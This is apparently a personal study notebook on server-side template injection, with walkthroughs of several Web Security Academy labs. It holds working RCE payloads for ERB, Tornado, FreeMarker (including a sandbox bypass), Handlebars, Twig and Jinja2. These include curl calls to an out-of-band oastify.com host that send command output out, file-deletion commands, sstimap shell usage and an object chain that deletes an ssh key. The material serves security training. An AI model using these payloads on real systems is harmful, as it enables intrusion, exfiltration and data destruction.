# Basic Concept (SSTI) [TOC] If website allow us inject the code into template engines, we can manipulate the behavior of the template engines. e.g. Inserting expression invoke the system function. (RCE) **Template Engine** laravel -> blade (Template engine) symphony -> Twig (Template Engine ) Flask -> Jinja Jinja Template ![圖片](https://hackmd.io/_uploads/r1AJwjxbR.png) ## Impact (Main Goal) - RCE (remote code execution) (Not Always Achieve) - Read arbitrary file. - Path Traversal --- ## Twig Template **Install Twig** (template engine) ![圖片](https://hackmd.io/_uploads/H19LuBGb0.png) ```bash composer require twig/twig ``` ![](https://hackmd.io/_uploads/rJHwljfea.png) ![](https://hackmd.io/_uploads/SkFbRcfe6.png) **Environment setting** ``` require_once '/path/to/vendor/autoload.php'; $loader = new \Twig\Loader\FilesystemLoader('/path/to/templates'); $twig = new \Twig\Environment($loader, [ 'cache' => '/path/to/compilation_cache', ]); ``` $twig object is used to load the twig template **Creating Instances and views** ```php <?php // load twig template!! require './vendor/autoload.php'; $loader = new \Twig\Loader\FilesystemLoader('views'); $twig = new \Twig\Environment($loader, [ // 'cache' => '/path/to/compilation_cache', ]); $output = $twig->render("meowhecker.html",array( 'name'=>'meowhecker', 'age'=>'18' )); echo $output; ?> ``` ![](https://hackmd.io/_uploads/Sy5jRhfgT.png) ![](https://hackmd.io/_uploads/ryhhC2zga.png) **Basic Demo** index.php ```php= <?php // load twig template!! require './vendor/autoload.php'; $loader = new \Twig\Loader\FilesystemLoader('views'); $twig = new \Twig\Environment($loader, [ // 'cache' => '/path/to/compilation_cache', ]); $lexer = new \Twig\Lexer($twig, array( 'tag_block' => array('{','}'), 'tag_variable' => array('{{$','}}') )); $twig->setLexer($lexer); $output = $twig->render("meowhecker.html",array( 'name'=>'meowhecker', 'age'=>'18', 'users' => array( array('name'=>"meow1", 'age'=>'20'), array('name'=>"meow2", 'age'=>'30'), array('name'=>"meow3", 'age'=>'40'), ) )); echo $output; ?> ``` views/meowhecker.html ``` Hello, {{name}} you are {{age}} {% if age >15%} you are over the age of 15.<br/> {% endif %} {% for user in users %} {{user.name}} is {{user.age}} years old .<br/> {% endfor %} ``` **Result** ![](https://hackmd.io/_uploads/rJ_ntAzep.png) ## Vulnerabilities Arise ### Static Template (Non-Vulnerable) ``` $output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) ); ``` ### Dynamic Template (Vulnerable) ``` $output = $twig->render("Dear " . $_GET['name']; ``` ![](https://hackmd.io/_uploads/SyRfR0Gg6.png) ![](https://hackmd.io/_uploads/HJd0C0Gga.png) User input Directly embedding to the template. (Danger!) # Detection Injecting special character to trigger the exception. ## Fuzzing ``` ${{<%[%'"}}%\ <%=meowhecker%> ``` ## Plaintext Context (No Expression) Inject point ``` html = render("Hello" + username) ``` Distinguish XSS Some we will identity this issue just simple XSS We can use mathematical operation to testing there whether have SSTI issue or not. ``` {{6*9}} or ${6*9} ``` IF Return Hello 54 -> SSTI Detected !! ## Code context (Have Expression ) Passing value to template expression ``` `greeting = getQueryParameter('greeting') engine.render("Hello {{"+greeting+"}}", data)` ``` the result URL would be like ``` http://vulnerable-website.com/?greeting=data.username ``` we can attempt to inject arbitrary HTML ``` http://vulnerable-website.com/?greeting=data.username</tag> ``` if arise exception arises , we could try to bread out of statement using common template syntax. ``` `Hello Carlos<tag>` ``` ## Identify Template Engine Identify the type of template the server uses. ### Trigger Error Message ``` <%=foobar%> ${7/0}, {{7/0}} ``` ``` Ruby-based ERB engine: (erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError) from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval' from /usr/lib/ruby/2.5.0/erb.rb:876:in `result' from -e:4:in `<main>' ``` FUzzing string ``` ${{<%[%'"}}%\ ``` #### Mathematical Operation ![圖片](https://hackmd.io/_uploads/HkH6zzbb0.png) ``` ${7*7} {{7*7}} a{*comment*}b ${"z".join("ab")} ``` ## Automatically Tools https://github.com/vladko312/sstimap https://github.com/epinna/tplmap # Exploit Require: Identify template ## Step 1 : Read Document Reading the document to understand the expression syntax for invoking system function to execute systems commands. e.g. (Python-base Mako) ``` <% import os x=os.popen('id').read() %> ${x} ``` ### LAB1 - SSTI (Plain Text Context) https://docs.ruby-lang.org/en/2.3.0/ERB.html #### Site Map ![圖片](https://hackmd.io/_uploads/rym9tzWbC.png) #### Dynamic Parameters ![圖片](https://hackmd.io/_uploads/SkbRYf-ZR.png) #### Identify **Flawed Design** - Value Reflection -> XSS,SSTI ![圖片](https://hackmd.io/_uploads/HyVWcf-ZR.png) **Testing SSTI vulnerability ** ``` ${{<%[%'"}}%\ ``` Not Word ![圖片](https://hackmd.io/_uploads/rJhcqMZW0.png) ``` ${7*7} {{7*7}} ``` Not work ``` <%= meowhecke %> ``` ![圖片](https://hackmd.io/_uploads/Hkg72fW-A.png) -> ERB Template **Confirm Defense Mechanisms** None #### Exploit **Read Document** ``` <%= system("whoami") %> #Execute code ``` ![圖片](https://hackmd.io/_uploads/HJbXTMWZR.png) RCE !! ![圖片](https://hackmd.io/_uploads/rk3PTMWW0.png) Solved #### Another Solution : Using SSTImap.py Tools https://github.com/vladko312/sstimap ``` python3 sstimap.py -u https://0a3c004a04955a77853ca818006000ea.web-security-academy.net/?message=Test ``` ![image](https://hackmd.io/_uploads/ryjBzQ-b0.png) ``` python3 sstimap.py -u https://0a3c004a04955a77853ca818006000ea.web-security-academy.net/?message=Test --os-shell ``` ![image](https://hackmd.io/_uploads/HyDZVX--0.png) Receive Shell !!! ### LAB-2: SSTI (Code Context) wiener:peter #### Site Map ![image](https://hackmd.io/_uploads/rkwVBQZWA.png) #### Dynamic Parameters ![image](https://hackmd.io/_uploads/B16zSQZW0.png) #### Identify Evaluate Comment functionality ![image](https://hackmd.io/_uploads/B1hg87ZW0.png) ![image](https://hackmd.io/_uploads/r1nzLQW-A.png) **Flawed Design** Passing User controllable vale to expression ![image](https://hackmd.io/_uploads/ryRsL7ZZR.png) ``` 7*7 ``` ![image](https://hackmd.io/_uploads/HJpHDQWWA.png) ``` POST /post/comment HTTP/2 csrf=xwVHDtjOXBjXHOTHJCTCPmcVgDgcdHbd&postId=6&comment=${{<%[%'"}}%\ ``` ![image](https://hackmd.io/_uploads/S1omvQZbC.png) SSTI Detected !!! Identify Template Engine ![image](https://hackmd.io/_uploads/SkJ3wm-b0.png) -> Tornado **Confirm Defense Mechanisms** None #### Exploit **Read Document** https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#tornado-python RCE (Remote Code Execution) Code Context -> Like XSS context -> 拼接 ``` {{ "meowhecker" }} ``` ``` "meowHead" }} {% import os %} {{os.system('whoami')}} {{"meowTail" ``` ![image](https://hackmd.io/_uploads/rk4cC7b-C.png) ![image](https://hackmd.io/_uploads/SJwoRQ--0.png) RCE (Remote Code Execution ) ``` "meowHead" }} {% import os %} {{os.system('rm ./morale.txt')}} {{"meowTail" ``` ![image](https://hackmd.io/_uploads/S11Z14--C.png) Solved ! ### LAB-3 SSTI (PlainText Context:Customer HTML Page Block) Valid Credential - content-manager:C0nt3ntM4n4g3r #### Site Map ![image](https://hackmd.io/_uploads/SyJyFXG-A.png) #### Dynamic Parameters ![image](https://hackmd.io/_uploads/B1TJFQfZA.png) #### Identify /Change email ``` email=meow%40meow&csrf=e0wDmxxUU4umag3SJOjD5TaU9wP5Qj8a ``` ![image](https://hackmd.io/_uploads/rJo8FQzWA.png) No Vulnerability **Flawed Design** ``` https://0a2300eb03e7a1ac80edada900870073.web-security-academy.net/product/template?productId=1 ``` ![圖片](https://hackmd.io/_uploads/B1fMgrz-R.png) **Confirm Defense Mechanisms** None ![圖片](https://hackmd.io/_uploads/Hkb_xrG-A.png) ``` ${6*9} ${7/0} ``` ![圖片](https://hackmd.io/_uploads/HygRlrzWR.png) #### Exploit **Read Document** https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#freemarker-java ``` <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} ``` ![圖片](https://hackmd.io/_uploads/SkqR-rz-0.png) Remote Code Execution ![圖片](https://hackmd.io/_uploads/r14BGHzZR.png) Solved ! ### LAB-4 SSTI - Plain text context #### Site Map ![圖片](https://hackmd.io/_uploads/S14Z-VzZ0.png) #### Dynamic Parameters ![圖片](https://hackmd.io/_uploads/r1szbNzZ0.png) #### Identify **Flawed Design** Page reflect get parameter! ![圖片](https://hackmd.io/_uploads/B1hEZVzbR.png) **Confirm Defense Mechanisms** None Detected : SSTI vulnerabilities ! ![圖片](https://hackmd.io/_uploads/HyFCZNzbA.png) ![圖片](https://hackmd.io/_uploads/SJPKzNzZA.png) Template Engine -> Handlebars #### Exploit **Read Document** https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#handlebars-nodejs ![圖片](https://hackmd.io/_uploads/Bkc4IEz-0.png) RCE Payload (Blind CMD injectio) ``` {{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('curl http://dwd4bsvypgc9trx73ctadiodu40volca.oastify.com');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} ``` ![圖片](https://hackmd.io/_uploads/ryCWLVzbR.png) RCE !!!!!!!!!!!!!! ``` curl http://dwd4bsvypgc9trx73ctadiodu40volca.oastify.com?log=$(pwd) ``` ![圖片](https://hackmd.io/_uploads/ryCHwVG-R.png) ``` curl http://dwd4bsvypgc9trx73ctadiodu40volca.oastify.com?log=$(rm -rf morale.txt) ``` ![圖片](https://hackmd.io/_uploads/rkwctEz-0.png) # Enumerate Template Support object or methods SSTI is not always possible to lead to Remote code execution but , it can still provide opportunities to perform other high-severity exploit ## Default template object we could try to inject the default objects or methods provided by template engine using a fuzzing approach Read Document (Brute Force - fuzzing) 1.SecLists (wordlists) 2.burpsuite intruder (profession version) ## Developer supplied objects We can also enumerate developer-supplied objects or method to exploit them. Enumerate - Error Message - ## LAB-5 : Server side template injection with information disclous via user-supplied object content-manager:C0nt3ntM4n4g3r #### Site Map #### Dynamic Parameters #### Identify **Flawed Design** ![圖片](https://hackmd.io/_uploads/SkvuorGbC.png) SSTI Detected !! ![圖片](https://hackmd.io/_uploads/HJdknSGWR.png) Python Template ``` {% debug %} ``` Template Engine -> Jinja2 (Python) ![圖片](https://hackmd.io/_uploads/S1x46HfWC.png) ![圖片](https://hackmd.io/_uploads/B1o81UfZ0.png) #### Exploit **Read Document** https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jinja2-python framework's secret key. ``` {{settings.SECRET_KEY}} ``` ![圖片](https://hackmd.io/_uploads/rJoJ-UM-R.png) ``` fz5al0wmgf36xcxlckbvi6u5r1syifly ``` ![圖片](https://hackmd.io/_uploads/HykX-8GWC.png) Solved # Customer Exploit ## Freemarker - Sandbox bypass ### LAB-1 SSTI Sandbox ENV Bypass content-manager:C0nt3ntM4n4g3r #### Site Map ![圖片](https://hackmd.io/_uploads/B1RFaDM-A.png) #### Dynamic Parameters ![圖片](https://hackmd.io/_uploads/rJR5awGWR.png) #### Identify **Flawed Design** ``` https://0abb007104f42b83825b92c0006f0095.web-security-academy.net/product/template?productId=1 ``` ![圖片](https://hackmd.io/_uploads/S1UFLwG-0.png) SSTI detection Template -> FreeMarker **Confirm Defense Mechanisms** ``` <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} ``` Not allow invoke Danger methods ![圖片](https://hackmd.io/_uploads/rkel8wf-A.png) -> inference template in sandbox env **Bypass** ![圖片](https://hackmd.io/_uploads/Skay_PzbC.png) Other exploit Using Product object ![圖片](https://hackmd.io/_uploads/HJbT_vG-R.png) According the error message, I guess template didn't have article object we can attempt use Product to replace it. #### Exploit **Read Document** https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#freemarker-java only works on Freemarker versions below 2.3.30 ``` <#assign classloader=product.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)> <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> ${dwf.newInstance(ec,null)("id")} ``` ![圖片](https://hackmd.io/_uploads/SkWoPDz-0.png) RCE !!!! ![圖片](https://hackmd.io/_uploads/rkz2KvGb0.png) Solved ## Exploit SSTI via object chains ### LAB-Server side template injection with a customer exploit. #### Site Map ![圖片](https://hackmd.io/_uploads/SJKp0DGWC.png) #### Dynamic Parameters ![圖片](https://hackmd.io/_uploads/Bk83Rwz-R.png) #### Identify ``` /my-account/change-blog-post-author-display ``` ![圖片](https://hackmd.io/_uploads/HyrxyOMbC.png) ``` blog-post-author-display=7/0&csrf=M6hhzrM7GTNNKX7IycAe0uHCoGGMMKLj ``` **Flawed Design** ![圖片](https://hackmd.io/_uploads/ByaSJ_fWC.png) SSTI Detected Template Engine -> Twig! **Confirm Defense Mechanisms** **Bypass** #### Exploit ``` "meowHead"}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{"meowTail" ``` Not Work ``` "meowHead"}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("curl http://626xhl1rv9i2zk3095z3jbu60x6ouji8.oastify.com")}}{{"meowTail" ``` Not Work RCe payload not work Attempt find other path ![圖片](https://hackmd.io/_uploads/BJrzH_MZA.png) ``` user.setAvatar('/etc/passwd','image/jpg') ``` ![圖片](https://hackmd.io/_uploads/Bya3uOG-R.png) ``` "meowHead"}}{{user.setAvatar('/home/carlos/User.php','image/jpg')}}{{"meowTail" ``` Construct Object chain ```php <?php class User { public $username; public $name; public $first_name; public $nickname; public $user_dir; public function __construct($username, $name, $first_name, $nickname) { $this->username = $username; $this->name = $name; $this->first_name = $first_name; $this->nickname = $nickname; $this->user_dir = "users/" . $this->username; $this->avatarLink = $this->user_dir . "/avatar"; if (!file_exists($this->user_dir)) { if (!mkdir($this->user_dir, 0755, true)) { throw new Exception("Could not mkdir users/" . $this->username); } } } public function setAvatar($filename, $mimetype) { if (strpos($mimetype, "image/") !== 0) { throw new Exception("Uploaded file mime type is not an image: " . $mimetype); } if (is_link($this->avatarLink)) { $this->rm($this->avatarLink); } if (!symlink($filename, $this->avatarLink)) { throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink); } } public function delete() { $file = $this->user_dir . "/disabled"; if (file_put_contents($file, "") === false) { throw new Exception("Could not write to " . $file); } } public function gdprDelete() { $this->rm(readlink($this->avatarLink)); $this->rm($this->avatarLink); $this->delete(); } private function rm($filename) { if (!unlink($filename)) { throw new Exception("Could not delete " . $filename); } } } ?> ``` Delete ``` "meowHead"}}{{user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')}}{{user.gdprDelete()}}{{"meowTail" ``` ![圖片](https://hackmd.io/_uploads/ByiWkYGbR.png) ![圖片](https://hackmd.io/_uploads/B11lJKzZR.png) Solved Owner :侯智晟 meowheckerouo@gmail.com